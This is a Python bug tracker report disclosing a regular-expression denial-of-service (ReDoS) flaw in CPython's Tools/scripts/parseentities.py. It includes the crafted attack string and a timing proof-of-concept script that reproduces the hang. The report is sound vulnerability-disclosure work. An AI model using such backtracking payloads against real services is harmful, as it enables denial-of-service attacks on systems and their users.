[New-bugs-announce] [issue41921] REDoS in parseentities

[yeting li]

New submission from yeting li <liyt at ios.ac.cn>:

Hi,

I find this regex '<!ENTITY +(\w+) +CDATA +"([^"]+)" +-- +((?:.|\n)+?) *-->' may be stucked by input.
The vulnerable regex is located in
https://github.com/python/cpython/blob/8d21aa21f2cbc6d50aab3f420bb23be1d081dac4/Tools/scripts/parseentities.py#L18

The ReDOS vulnerability of the regex is mainly due to the sub-pattern ' +((?:.|\n)+?) *'
and can be exploited with the following string
'<!ENTITY a CDATA "a" -- ' + ' ' * 5000

You can execute the following code to reproduce ReDos


from Tools.scripts.parseentities import parse
from time import perf_counter

for i in range(0, 10000):
    ATTACK = '<!ENTITY a CDATA "a" -- ' + ' ' * i * 100
    LEN = len(ATTACK)
    BEGIN = perf_counter()
    parse(ATTACK)
    DURATION = perf_counter() - BEGIN
    print(f"{LEN}: took {DURATION} seconds!")





Looking forward for your response​!

Best,
Yeting Li

----------
components: Demos and Tools
messages: 377885
nosy: yetingli
priority: normal
severity: normal
status: open
title: REDoS in parseentities
versions: Python 3.10, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue41921>
_______________________________________